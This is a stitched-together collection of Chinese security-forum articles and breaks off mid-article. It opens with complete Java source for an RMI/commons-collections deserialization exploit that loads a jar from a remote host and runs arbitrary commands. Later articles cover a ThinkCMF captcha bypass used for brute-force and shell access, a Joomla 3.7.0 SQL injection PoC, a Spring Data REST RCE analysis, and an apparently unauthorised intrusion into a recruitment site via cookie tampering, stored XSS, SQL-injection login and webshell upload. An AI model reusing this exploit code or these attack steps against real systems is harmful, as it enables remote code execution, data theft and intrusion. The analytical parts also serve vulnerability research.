import java.net.URLClassLoader;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class RMIexploit {
public static Constructor<?> getFirstCtor(final String name)
throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static void main(String[] args) throws Exception {
if (args.length < 4) {
System.out.println(
" Usage: java -jar RMIexploit.jar ip port jarfile command");
System.out.println(
" Example: java -jar RMIexploit.jar 123.123.123.123 1099 http://1.1.1.1.1/ErrorBaseExec.jar \"ls -l\"");
return;
}
String ip = args[0];
int port = Integer.parseInt(args[1]);
String remotejar = args[2];
String command = args[3];
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new java.net.URL[] { new java.net.URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "exploit.ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null,
transformedChain);
Class cl = Class.forName(
"sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class,
outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, h));
registry.bind("pwned", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}
远程：
package exploit;
import java.io.*;
public class ErrorBaseExec {
public static byte[] readBytes(InputStream in) throws IOException {
BufferedInputStream bufin = new BufferedInputStream(in);
int buffSize = 1024;
ByteArrayOutputStream out = new ByteArrayOutputStream(buffSize);
byte[] temp = new byte[buffSize];
int size = 0;
while ((size = bufin.read(temp)) != -1) {
out.write(temp, 0, size);
}
bufin.close();
byte[] content = out.toByteArray();
return content;
}
public static void do_exec(String cmd) throws Exception {
final Process p = Runtime.getRuntime().exec(cmd);
final byte[] stderr = readBytes(p.getErrorStream());
final byte[] stdout = readBytes(p.getInputStream());
final int exitValue = p.waitFor();
if (exitValue == 0) {
throw new Exception("-----------------\r\n" + (new String(stdout)) + "-----------------\r\n");
} else {
throw new Exception("-----------------\r\n" + (new String(stderr)) + "-----------------\r\n");
}
}
public static void main(final String[] args) throws Exception {
do_exec("cmd /c dir");
}
}
首先就是，本地的可以直接在本地生成jar包使用，远程的是放在vps上等可以访问到的地方
这个exp其实很简单，仅仅是在 commons-collections 库反序列化exp的基础上，加了一点 rmi 的内容
整个exp只需要关注如下图的内容：
registry 是从远程主机上获取到的一个注册表，然后他将 AnnotationInvocationHandler 的实例生成了一个 Remote
对象，最后在 registry 中绑定了一个新的远程服务（ 这里也可以使用 rebind ）
然后攻击就成功了，但是注意，这里是客户端去实施攻击的，服务端经过反序列化执行了恶意代码
### rmi 的流程原理
先看一张图
如上图，攻击方就是 RMI Client，能够猜到，反序列化的是 RMI Server
这里就很奇怪了，明明是 RMI Server 进行的 bind 或者是 rebind 操作，为啥 exp 里作为一个 RMI Client 也可以进行
bind 或者是 rebind ？
在网上搜了搜，都是在 RMI Server 里进行 bind 或是 rebind 的例子
（注：这里说的 Server 意思是指的创建了本机 RMI 注册表的机器）
（PS：或许我该去查查官方文档的 - - ）
没找到相关资料，就只能硬怼了
提前放出整个反序列化报错回显的流程：
首先，RMI server 创建、获取 Registry 的方式如下：
这里的 createRegistry 返回的是一个 RegistryImpl，好，先放着
我们再来看下 RMI Client 获取 Registry 的方式如下：
这里返回的是一个 RegistryImpl_Stub
那么我又去看了一下，这两个类的 bind 函数，其流程完全不同
RegistryImpl 如下：
这里的 bindings 是一个 hashtable ，只是将 Remote 对象放进去就完了
RegistryImpl 就不用管了，是创建 rmi 注册表的本机里的操作，我们不可控的，继续跟入 RegistryImpl_Stub 里
#### RMI Client 的 RegistryImpl_Stub
RegistryImpl_Stub 如下：
var3 是一个 StreamRemoteCall 对象，其 getOutputStream 返回的是一个 ConnectionOutputStream
对象，那么这里从 var4 的操作来看，不就是开始进行远程通信了嘛.....
**注意这里的 opnum 参数 !**
我们可以思考一下，这里既然已经开始通信，那么对应的服务端肯定也在开始根据某些规则进行某些行为，这是在 bind 函数中的，那么对应的服务器端也会执行
bind 的操作，服务端待会儿再说，有一个问题就是，在上图中看见的仅仅是将需要 bind 的 Remote 对象发过去了，那服务器怎么知道我是 bind
还是 unbind 的？
这里就退到 newCall 的时候，跟进去看看
在得到 var6 之前，newConnection 函数运行的流程中就已经开始了与服务器的通信
注意到 var3 、 var4 都是直接传进 StreamRemoteCall 的构造函数，继续跟进它的构造函数
最开始是写入了 80 （其实在此之前还有一些信息的发送，但是我们并不用太关心），接着getOutputStream 就是给 this.out 赋值了
ConnectionOutputStream 对象，是可以直接发送数据的，然后它将 var3 、 var4 都提前发了过去，后面才向服务端发送的是需要
bind 的 name 和 Remote 对象
回到 bind 函数中，这时候还剩下 invoke 和 done 函数没跑完
先看看 invoke
var1 就是刚刚 new 出来的 StreamRemoteCall ，跟进去看 executeCall
_由于函数体太长，只截取关键部分_
这里能看出来是在接受服务端的返回信息，var1 是读取了一个 byte，那么返回值为 1 应该是
success，因为啥也不返回。值为2的时候比较奇怪，反序列化后居然判断是否是一个异常，emmm，看来接受的应该是服务端的异常，default
的情况应该是返回值错误
现在回想 ErrorBaseExec 这个远程利用类里的代码：
都是将结果直接抛出异常的形式带回，那么结合着之前所述，应该在返回值为 2 的时候被接受了，那么跟进 exceptionReceivedFromServer
看看
最后还是将异常抛出了，这个来自服务端的异常最后将会被客户端的 bind
函数打印出来，所以这就理解了远程利用代码里，会直接将命令执行的结果以异常的形式抛出，因为这样就可以获得命令回显....
bind 函数中调用的 done 函数就不展示了，仅仅是清理缓冲区、释放连接啥的
#### RMI Server 的 RegistryImpl
目前仅仅是分析了 payload 从客户端发送到服务端，以及收到了服务端的返回信息
该去看看服务端，是如何接收到客户端的 payload 的，如何进行信息的返回
rmi 服务端的设计更复杂一些，之前一直在反编译jdk7_079的class文件，但是这样很不好跟踪，所以索性直接看 jdk 源码
服务端就必须得从创建 rmi 注册表开始跟了，如下图：
前面讲过，这里返回的是一个 RegistryImpl ，跟进构造函数
var1 代表的是选择的开放端口，接着将 LiveRef 装进 UnicastServerRef 并带入了 setup 函数中，跟进去
将自身（RegistryImpl）传入了 UnicastServerRef 的 exportObject中，跟进去
var5 是一个根据 var4 的类名生成的一个 RemoteStub ，因为传入的 var1 实际上是 RegistryImpl ，那么 var5 就是
RegistryImpl_Stub ，所以上图中的 if 条件是满足的
Skeleton 也是 rmi 中非常重要的一个模块
上图中的 setSkelenton 就是根据 var1 的类名实例化一个 Skeleton，那么生成的就是 RegistryImpl_Skel。 实例化的
Target 中包含了所有重要的事物，包含了新生成的 RegistryImpl，这将是处理 RMI Client
通信请求的具体操作类。函数流程中，接着调用了之前实例化的 LiveRef 中 exportObject 函数
这里的 ep 是一个根据指定开放端口实例化的 TCPEndpoint ，继续跟，期间跟了好几个 exportObject 函数，最终来到了
TCPTransport 类中
看见 listen ，感觉是开始监听端口什么的了，跟进去看看
跑起了 TCPTransport.AcceptLoop 的线程，看看 run
跟进 executeAcceptLoop
如图，服务端接收到连接后，实例化 ConnectionHandler 并跑起线程
看看 ConnectionHandler 的 run
继续跑 run0，跟进去
（ _函数体太长，只截取关键部分_ ）
跟进 handleMessages 函数
我们只需要关注 80 的时候，因为之前客户端在实例化 StreamRemoteCall 过程中，写入的就是 80
调用了 serviceCall ，并传入了一个新的 StreamRemoteCall ，跟进去看看
这里我们跟着 var1 的流程就好
调用了 UnicastServerRef 的 dispatch 函数，跟进去
盯着 var2 不放，可见之前客户端通信的内容，正在一步步的控制服务端的执行流程
回忆一下，客户端的通信内容如下：
先发过去的是 int 0，然后就是一个 Long
那么对应的，var3 应该为 0，跟入 oldDispatch
var3 、 var4 分别是之前的 int 0 和一个 Long，这里的 skel 就是之前实例化的 RegistryImpl_Skel ，跟进它的
dispatch 函数
var3 == 0，然后直接 var11 就反序列化获取了 name 和 Remote 对象，这里的 case 0 仅仅是 bind
的对应的操作码，那么还有些其他操作对应的操作码，如下：
* 0 -> bind
* 1 -> list
* 2 -> lookup
* 3 -> rebind
* 4 -> unbind
此处的 var6 变量就是之前 RMI Server 新生成的 RegistryImpl 对象，所以在以上 5 中操作过程中，其实际上都是操作的 RMI
Server 的 RegistryImpl
然后因为在 payload 里命令执行完成后，直接抛出的异常并带入命令执行结果，所以在 Proxy 成员 invocationHandler
反序列化的过程中（也就是在 readObject 的过程中），直接抛错了，并带回 RMI 客户端，形成利用报错回显命令执行结果
我们可以继续看看抛出异常后的情况
被 IOException 抓住后，继续抛出 UnmarshalException，跳回 oldDespatch 中
在 oldDespatch 中的异常处理流程如下图：
先获取了 ObjectOuput 然后用 ServerException 包装一下，最后将异常反馈给 RMI Client
第一个红框里， getResultStrem 带入的参数是 false ，跟进去看看
var1 为 false ，进入 else 条件，在传送回 Client 异常前，写回一个 2
这里就和之前在 RMI Client 中分析的吻合了，如果 Client 中得到的是 2 的返回，那么回接受来自 Server 的异常并将其打印
* * *
整个流程已经全部梳理完，有啥叙述不清、错误的地方欢迎指出~
参考资料：
<http://www.freebuf.com/vuls/126499.html>
<https://blog.csdn.net/sinat_34596644/article/details/52599688>
<https://blog.csdn.net/guyuealian/article/details/51992182>
<http://blog.nsfocus.net/java-deserialization-vulnerability-overlooked-mass-destruction/>
<https://blog.csdn.net/lovejj1994/article/details/78080124> | 社区文章 |
漏洞CMS：`ThinkCMF 1.X-2.X`
### 0x01 前言
源于上周到广州参加培训时的实战经历。
同事给出了一个9000+的站点列表,这么多的站点要是一个一个看得话得看到猴年马月啊。于是随手写了一个脚本先去探测基础信息:
https://github.com/TheKingOfDuck/bcScan
先摸清楚网站是否可正常访问,以及中间件的一些基础信息。
查看返回的基础信息时有注意到多个thinkcmf字眼,比较眼熟,再有了本文。
### 0x02 过程
按照先知社区`phpoop`师傅的文章[某CMFX_2.2.3漏洞合集](https://xz.aliyun.com/t/3529)指示,访问`README.MD`文件可获取版本信息。
基础信息`thinkcmf 1.5`
根据`水泡泡`师傅的文章[某cmf
1.6.0版本从sql注入到任意代码执行](https://xz.aliyun.com/t/3409)中提供的漏洞,1.6的漏洞利用在1.5身上应该是odbk的。悲剧的1.6的注入应用到1.5身上无任何回显。本地测试时通过[MySQLMonitor](https://github.com/TheKingOfDuck/MySQLMonitor)监测发现语句确实拼接进去了。就是没有回显,盲注没有解决这个问题。1.6的任意代码执行在1.5确实可行,但是需要等待具有内容管理的权限用户登录触发这东西,这是一个被魔改了的站点。注册后台模块都被删除或是修改了的,无法自行触发。
仔细读文章时有主意到这么一条讯息,我面对的版本是1.5的,他的验证码获取url长这样：
http://127.0.0.1/index.php?g=Api&m=Checkcode&a=index&code_len=4&font_size=15&width=100&height=35&charset=1234567890
值得一提的是1.5的验证码是可以复用的。官方在1.6中修复了该问题。
主意观察url参数会发现`charset`字段,验证码内容可以外部控制？实在证明,的确是这样。
将charset修改为2222
绕后访问：
这样一来就无论你则么刷新验证码的值都始终为2222了。
（此处另一个问题：验证码的尺寸可控,可调整对应值发起DDoS攻击。）
那么问题来了,在1.6中可否通过该缺陷解决上文截图中水泡泡师傅提到的验证码问题呢？1.6的获取验证码的url长这样：
http://127.0.0.1/1.6/index.php?g=Api&m=Checkcode&a=index&length=4&font_size=25&width=238&height=50
官方删除了`charset`参数,自己加上去是否可行？
验证得出的确可行。
### 0x03 分析与利用
直接定位到生成验证码的文件：
1.6/application/Api/Controller/CheckcodeController.class.php
代码篇幅不长这里就删除非必要的注释后直接贴上来了：
<?php
/**
* 验证码处理
*/
namespace Api\Controller;
use Think\Controller;
class CheckcodeController extends Controller {
public function index() {
$length=4;
if (isset($_GET['length']) && intval($_GET['length'])){
$length = intval($_GET['length']);
}
//设置验证码字符库
$code_set="";
if(isset($_GET['charset'])){
$code_set= trim($_GET['charset']);
}
$use_noise=1;
if(isset($_GET['use_noise'])){
$use_noise= intval($_GET['use_noise']);
}
$use_curve=1;
if(isset($_GET['use_curve'])){
$use_curve= intval($_GET['use_curve']);
}
$font_size=25;
if (isset($_GET['font_size']) && intval($_GET['font_size'])){
$font_size = intval($_GET['font_size']);
}
$width=0;
if (isset($_GET['width']) && intval($_GET['width'])){
$width = intval($_GET['width']);
}
$height=0;
if (isset($_GET['height']) && intval($_GET['height'])){
$height = intval($_GET['height']);
}
$config = array(
'codeSet' => !empty($code_set)?$code_set:"2345678abcdefhijkmnpqrstuvwxyzABCDEFGHJKLMNPQRTUVWXY", // 验证码字符集合
'expire' => 1800, // 验证码过期时间（s）
'useImgBg' => false, // 使用背景图片
'fontSize' => !empty($font_size)?$font_size:25, // 验证码字体大小(px)
'useCurve' => $use_curve===0?false:true, // 是否画混淆曲线
'useNoise' => $use_noise===0?false:true, // 是否添加杂点
'imageH' => $height, // 验证码图片高度
'imageW' => $width, // 验证码图片宽度
'length' => !empty($length)?$length:4, // 验证码位数
'bg' => array(243, 251, 254), // 背景颜色
'reset' => true, // 验证成功后是否重置
);
$Verify = new \Think\Verify($config);
$Verify->entry();
}
}
emmmmm,这个代码逻辑相当简单,就是字节在参数中获取字符集了。1.6的前端代码中没加这个参数,为空就将字符集设为第50行中的那些了。
经过验证发现,该问题可以在1.x到2.x的版本中都存在。
**如何利用？**
以爆破为例,登录验证之前先携带着爆破用的cookie访问一遍加了`charset`参数的验证码请求链接,完了再发送包含了固定验证码的登录验证包即可。
### 0x04 总结
到最后1.5的那个站点是如何日下的？后台登录验证模块被删了的,登录界面存在,但是发送请求后404（可以看到验证码）,注册页面被删。前台登录模块没删但是访问后发现验证码被删,登录包发送过去提示验证码缺失,解决方案是利用`0x03`中提到的先请求一遍加了固定`charset`参数,再将固定的验证码加上去,就可以实现爆破。最终进去触发代码执行,实现Getshell。 | 社区文章 |
# 【漏洞分析】Joomla!3.7.0 Core SQL注入漏洞详细分析（含PoC、漏洞环境）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
作者：[ **Balis0ng**](http://bobao.360.cn/member/contribute?uid=1497956878)
**预估稿费：400RMB**
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门**
[**【漏洞预警】Joomla!3.7.0 Core
SQL注入漏洞(更新漏洞环境)**](http://bobao.360.cn/learning/detail/3868.html)
**前言**
**Joomla！是世界上最受欢迎的内容管理系统（CMS）解决方案之一。**
它可以让用户自定义构建网站实现强大的在线应用程序。据不完全统计互联网上超过3％的网站运行Joomla！，同时它占有全球9%以上的CMS市场份额。
截止至2016年11月，Joomla！的总下载量超过7800万次。目前Joomla！官方还提供了超过7800个扩展插件（含免费、收费插件）及其他的可用资源可供下载。
**
**
**漏洞概述
**
* * *
**漏洞等级** ：严重
**漏洞类型** ：SQL 注入
**利用难度** ：简单
**利用方式** ：远程
**影响版本** ：Joomla! 3.7.0 Core
**漏洞简述**
：这个漏洞出现在3.7.0新引入的一个组件“com_fields”，这个组件任何人都可以访问，无需登陆验证。由于对请求数据过滤不严导致sql
注入，sql注入对导致数据库中的敏感信息泄漏，例如用户的密码hash以及登陆后的用户的session（如果是获取到登陆后管理员的session，那么整个网站的后台系统可能被控制）。
**漏洞分析**
看了一下漏洞概要，发现写的比较简单，自己复现的时候发现调用关系比较复杂,特别是在类函数的调用中，稍不注意就钻错函数了。
首先，在E:/www/joomla370/components/com_fields/controller.php中有这样一段代码:
public function __construct($config = array())
{
$this->input = JFactory::getApplication()->input;
// Frontpage Editor Fields Button proxying:
if ($this->input->get('view') === 'fields' && $this->input->get('layout') === 'modal')
{
// Load the backend language file.
$lang = JFactory::getLanguage();
$lang->load('com_fields', JPATH_ADMINISTRATOR);
$config['base_path'] = JPATH_COMPONENT_ADMINISTRATOR;
}
parent::__construct($config);
}
这里我们接收两个参数，一个view和一个layout,然后满足一定条件就进入到了if中，这里有一个关键点，设置了一个$config['base_path']为administrator的components目录。
然后调用父类的构造方法:
parent::__construct($config)；
我们跟一下这个方法:
在E:/www/joomla370/libraries/legacy/controller/legacy.php中的__construct方法,函数体太长，就不贴了，主要在395行，加入我们的model：
if (array_key_exists('model_path', $config))
{
// User-defined dirs
$this->addModelPath($config['model_path'], $this->model_prefix);
}
else
{
$this->addModelPath($this->basePath . '/models', $this->model_prefix);
}
这里是进入到了else这个分支，然后这个地方的$this->basePath就是我们最开始的注意点，是administators/components
然后设置完了后就调用该类中的display方法进行一个实际操作,包括创建model之类的操作，在第613行:
public function display($cachable = false, $urlparams = array())
{
$document = JFactory::getDocument();
$viewType = $document->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');
$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));
// Get/Create the model
if ($model = $this->getModel($viewName))
{
// Push the model into the view (as default)
$view->setModel($model, true);
}
这里的$viewName是取自于view,也就是fields,然后这里先调用getView函数取得视图,然后再调用了getModel进行一个操作:
public function getModel($name = '', $prefix = '', $config = array())
{
if (empty($name))
{
$name = $this->getName();
}
if (empty($prefix))
{
$prefix = $this->model_prefix;
}
if ($model = $this->createModel($name, $prefix, $config))
{
// Task is a reserved state
$model->setState('task', $this->task);
// Let's get the application object and set menu information if it's available
$menu = JFactory::getApplication()->getMenu();
if (is_object($menu))
{
if ($item = $menu->getActive())
{
$params = $menu->getParams($item->id);
// Set default state data
$model->setState('parameters.menu', $params);
}
}
}
return $model;
}
这里调用createModel方法进行类的实例化。
并返回$model。
接着调用setModel函数将$model push到$view中。
到665行调用视图的display函数:
else
{
$view->display();
}
return $this;
然后我们跳转到视图的display函数中来，在E:/www/joomla370/administrator/components/com_fields/views/fields/view.html.php中:
public function display($tpl = null)
{
$this->state = $this->get('State');
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->filterForm = $this->get('FilterForm');
$this->activeFilters = $this->get('ActiveFilters');
首先看第一行，这里调用了get函数，参数是State,我们跟进这个get函数，在E:/www/joomla370/libraries/legacy/view/legacy.php中第417行:
$method = 'get' . ucfirst($property);
// Does the method exist?
if (method_exists($this->_models[$model], $method))
{
// The method exists, let's call it and return what we get
$result = $this->_models[$model]->$method();
return $result;
}
}
这里我们的$property是我们传进的实参也就是'State',那么拼接起来后的方法名就是getState,然后调用这个方法，由于这个方法在filedsmodel类中没有，那么会往父类里面找，根据一层层的继承关系，我们找到了getState方法，在E:/www/joomla370/libraries/legacy/model/legacy.php中
public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();
// Set the model state set flag to true.
$this->__state_set = true;
}
然后这里会调用populateState方法,这个populateState只会调用一次。这个方法到底是哪个类中的呢？毋庸置疑，是filedsModel中的populateState方法:
protected function populateState($ordering = null, $direction = null)
{
// List state information.
parent::populateState('a.ordering', 'asc');
$context = $this->getUserStateFromRequest($this->context . '.context', 'context', 'com_content.article', 'CMD');
$this->setState('filter.context', $context);
可以看到这里有调用了父类populateState方法，我们跟进到父类，在E:/www/joomla370/libraries/legacy/model/list.php
中，也就是漏洞原作者开始写的地方:
在第496行：
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Exclude if blacklisted
if (!in_array($name, $this->listBlacklist))
{
// Extra validations
switch ($name)
{
case 'fullordering':
$orderingParts = explode(' ', $value);
if (count($orderingParts) >= 2)
这里取了个list的值进来赋值给了$list
然后将$list遍历出来，接着switch 键值。switch代码过多，我们只需要看switch完后的一个操作，也就是在567行:
$this->setState('list.' . $name, $value);
通过这个我们可以设置list.fullfullordering
那么这里是设置了，总得取出来才行啊，那我们开始看如何将这个值取出来的。
上面说道在视图文件中的display方法中，利用get('State')来调用了getState方法。紧跟着这个操作的下一行，就有一个get('Item')。
public function display($tpl = null)
{
$this->state = $this->get('State');
$this->items = $this->get('Items');
通过上面的分析，我们可以轻松的找到正确调用的方法，没错，就是E:/www/joomla370/libraries/legacy/model/list.php中的getItems方法:
public function getItems()
{
// Get a storage key.
$store = $this->getStoreId();
// Try to load the data from internal storage.
if (isset($this->cache[$store]))
{
return $this->cache[$store];
}
try
{
// Load the list items and add the items to the internal cache.
$this->cache[$store] = $this->_getList($this->_getListQuery(), $this->getStart(), $this->getState('list.limit'));
}
这里调用了一个_getListQuery方法，继续跟踪，就在该类里面:
protected function _getListQuery()
{
// Capture the last store id used.
static $lastStoreId;
// Compute the current store id.
$currentStoreId = $this->getStoreId();
// If the last store id is different from the current, refresh the query.
if ($lastStoreId != $currentStoreId || empty($this->query))
{
$lastStoreId = $currentStoreId;
$this->query = $this->getListQuery();
}
然后这里又调用了一个getListQuery方法，这里调用的getListQuery不是此类的getListQuery，而是子类，也就是filedsModel类里的getListQuery了,我们看一下该方法,在该方法的最后呢，也就是304左右:
// Add the list ordering clause
$listOrdering = $this->getState('list.fullordering', 'a.ordering');
$orderDirn = '';
if (empty($listOrdering))
{
$listOrdering = $this->state->get('list.ordering', 'a.ordering');
$orderDirn = $this->state->get('list.direction', 'DESC');
}
$query->order($db->escape($listOrdering) . ' ' . $db->escape($orderDirn));
return $query;
}
这里就调用getState将我们前面设置的list.fullordering的值给取了出来，然后带入到了order函数中去了，就造成了一个order
by的注入。
**PoC**
http://localhost/joomla370/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3e,user()),0)
[](http://localhost/joomla370/index.php?option=com_fields&view=fields&layout=modal&list%5Bfullordering%5D=updatexml\(1,concat\(0x3e,user\(\)\),0\))
PoC验证截图
**
**
**漏洞环境**
* * *
**感谢开源社区力量**
漏洞靶场环境 由phithon维护
Vulhub是一个面向大众的开源漏洞靶场，无需docker知识，简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。
<https://github.com/phith0n/vulhub/tree/master/joomla/CVE-2017-8917>
**总结**
总的来说，注入触发的流程也不新鲜了，早在之前的joomla爆的一些组件注入中，比如之前的history组件注入，也多数是因为populate函数中的对一些参数过滤不严格，然后导致后来取出来的时候就产生了注入。
**参考链接**
* * *
<https://blog.sucuri.net/2017/05/sql-injection-vulnerability-joomla-3-7.html>
**传送门**
* * *
[**【漏洞预警】Joomla!3.7.0 Core
SQL注入漏洞(更新漏洞环境)**](http://bobao.360.cn/learning/detail/3868.html) | 社区文章 |
最近两个月学着去挖洞，混了快2个月的补天。还是有挺多收获的。这里记录一个昨天对某人才网的渗透测试。从逻辑越权，xss，弱口令等到getshell，控制数据库.....
新人第一次写稿，有不足的地方恳请师傅们指出
目标站点我就以www.xxx.com代替
**1\. 逻辑越权**
这个人才网有个人用户和企业用户，企业用户注册需要提供营业执照等等。然后只有企业用户才能下载人才简历，查看各个求职者的详细信息，比如身份证号码，联系方式等等。
我们先注册一个个人用户，然后登陆
我们可以看到下面有个"最新人才"的栏目
点更多，我们可以看到有大约有3w多简历
我们先随便点一个人的简历
可以看到当我们是个人用户时已经可以看见这个求职者的很多信息了，但是身份证信息和联系方式作为个人用户是看不见的
然后我们尝试点一下下载简历
果然只有企业用户才能下载。
这时候我想起了在各大平台看见的逻辑漏洞的总结，于是尝试用burp抓包来看看有没有可能越权成为企业用户
我们对下载简历抓包
我们可以看到那个eid是我们查看的这个简历的id。然后在cookie里，有个usertype和uid，个人用户的usertype是1，于是我们尝试改成2。然后这里必须uid也得改成随便一个企业的uid，因为这里usertype是判断用户账号是个人用户还是企业用户，然后这个uid是判断有没有下载权限。
我们在首页随便找一个企业
然后发包
然后这里就已经越权成为企业用户了，可以查看到用户联系方式了。
然后我们再对这个图上那个下载简历抓包，同样修改usertype和uid，然后再发包
然后到这里，不要以为失败了。
我们还是得对这个页面抓包，继续改usertype和uid。然后再次发包就可以下载了
word文档的简历内容很长，就截了前面部分。可以看到这里就可以看见完整的身份证号码信息。
(Ps:这里在改完uid后，提示说金币不够什么的，就换一个企业的uid试试就好了，因为这里下载简历是要消耗那个企业的金币的，没有金币就得充钱)
**2.XSS**
我们个人用户登陆后会让我们完善简历。在简历填写的多处存在储存型XSS
这里拿自我评价处做例子（毕竟企业看人才简历时可以看到自我评价）
这里我们可以利用xss来获取那些企业用户的cookie，且看cookie，并没有httponly的设置，所以可以直接登陆任意查看过这个简历的企业用户。
**SQL注入1**
通过子域名收集，可以得到oa办公系统地址：oa.xxx.com
然后我们先随便试试输入账号密码，比如admin/admin
提示密码无效
然后admins/admin
这样子就有可能是SQL盲注。
于是进一步验证，用admin' and '1'='1 和admin' and '1'='2来验证
于是验证了这里存在SQL盲注。然后写脚本可以跑出数据库名
然后在打算跑表时
猜测肯定是select的原因。
把select 去掉
果然是select的原因。
然后我尝试了用内联注释，编码等都没有成功绕过.....可能姿势太少了吧。
但是这个报错让我知道了完整的sql语句
于是想到了用万能密码。
根据sql注入语句构造：用户名用admin' or 1=1 or ''='
密码随便填,然后就进去了.....
**SQL注入2**
这里还有一处SQL注入，不过有点鸡肋的就是和sql注入1一样的就是select....被waf了。
注入的地方在搜索框，是一个搜索型SQL注入
通常搜索型SQL注入的SQL语句都是:select * from users where id like '%xxx%' order by
xxxxxxxxx";
所以我们就可以构造闭合导致SQL注入。
我们可以用1%' and 1=1 and '%'='和%' and 1=2 and '%'='来验证是否存在搜索型注入。
这样就可以验证存在SQL注入了。同样这里只能跑出数据库名....因为select被waf了，我暂时还没姿势绕过。
**任意文件上传**
在前面万能密码进入oa后台后，我尝试getshell。于是浏览了一遍后台的功能。发现了在用户管理处可以利用
随便点一个人修改
修改头像这里，抓包改成php。上传木马成功。(这里肯定只在前端验证我们上传的文件类型，导致绕过)
然后我们用蚁剑连接
成功getshell
可以下载整个代码包
然后我们可以找到数据库配置文件
然后用蚁剑自带的数据库管理系统连上
然后就可以任意操纵数据库了。然后我们可以看到网站后台的账号密码.....发现密码是个与网站域名有关的弱密码，xxx2017
然后就可以进入管理后台（都getshell了其实没必要再看这个了，哈哈哈，不过可以当成一个弱密码漏洞）
**总结：**
这个人才网可以说是漏洞百出。把好多学到的姿势充分的实现了。由于还没接触过内网方面的经历，所以并没有对其进行下一步的测试。找个时间学习一波内网方面的知识，然后我觉的这个站可能依然是一个可以把理论付诸实践的站点（滑稽）.
前一年都在打ctf，从最近开始挖洞，挖洞的感受就是挖洞一时爽，一直挖一直爽。从最近的挖洞经历，学会了很多，学到最多的就是逻辑漏洞的姿势，比如越权，短信轰炸，任意用户注册，任意用户密码修改，各种验证码处理不当，商城商品提交订单时，数量、金额、运费、优惠价格等参数没有做严格限制和验证导致0元购等等。希望接下来自己能够转向各大SRC的漏洞挖掘，毕竟非授权的站点测试还是很有风险的（~逃 | 社区文章 |
来源：[先知安全技术社区](https://xianzhi.aliyun.com/forum/read/2186.html "先知安全技术社区")
作者：廖新喜
#### 1 综述
近日，Pivotal 官方发布通告表示 Spring-data-rest 服务器在处理 PATCH
请求时存在一个远程代码执行漏洞（CVE-2017-8046）。攻击者可以构造恶意的 PATCH 请求并发送给 spring-date-rest
服务器，通过构造好的 JSON 数据来执行任意 Java 代码。官方已经发布了新版本修复了该漏洞。
相关地址： <https://pivotal.io/security/cve-2017-8046>
受影响的版本
* Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
* Spring Boot version < 2.0.0M4
* Spring Data release trains < Kay-RC3
不受影响的版本
* Spring Data REST 2.5.12, 2.6.7, 3.0RC3
* Spring Boot 2.0.0.M4
* Spring Data release train Kay-RC3
解决方案：
官方已经发布了新版本修复了该漏洞，受影响的用户请尽快升级至最新版本来防护该漏洞。
参考链接：
<https://projects.spring.io/spring-data-rest/>
<https://projects.spring.io/spring-boot/>
#### 2 补丁分析
从官方的描述来看就是就是 Spring-data-rest 服务处理 PATCH 请求不当，导致任意表达式执行从而导致的 RCE。
首先来看下补丁，主要是 evaluateValueFromTarget 添加了一个校验方法 verifyPath，对于不合规格的 path
直接报异常退出，主要是 property.from(pathSource,type)实现，基本逻辑就是通过反射去验证该 Field 是否存在于 bean
中。
#### 3 复现
直接拉取`https://github.com/spring-projects/spring-boot/tree/master/spring-boot-samples`，找到 spring-rest-data 这个项目，直接用 IDEA 一步步导入进去即可，直接运行就能看到在本地的 8080 端口起了
jetty 服务。但是请注意这编译好的是最新版本，要引入漏洞，当然得老版本，修改 pom.xml,添加 plugin，具体如下：
<dependency>
<groupId>org.springframework.data</groupId>
<artifactId>spring-data-rest-webmvc</artifactId>
<version>3.0.0.RC2</version>
</dependency>
从项目 test 目录找到相关请求形式，发送`http://127.0.0.1:8080/api/cities/1`即可看到回显表明服务正常启动。测试
poc 的效果如下：
这个 poc 的几个关键点在于：Content-Type: application/json-patch+json，path路径一定得用斜杠/隔开，至于为什么，后续会讲到。op 支持的操作符很多，包括 test，add，replace
等都可以触发，op 不同，path 中添加的 poc 可以不一样，如 op 为 test 时就少了很多限制。如下是 op 为 add 时候的请求 body。
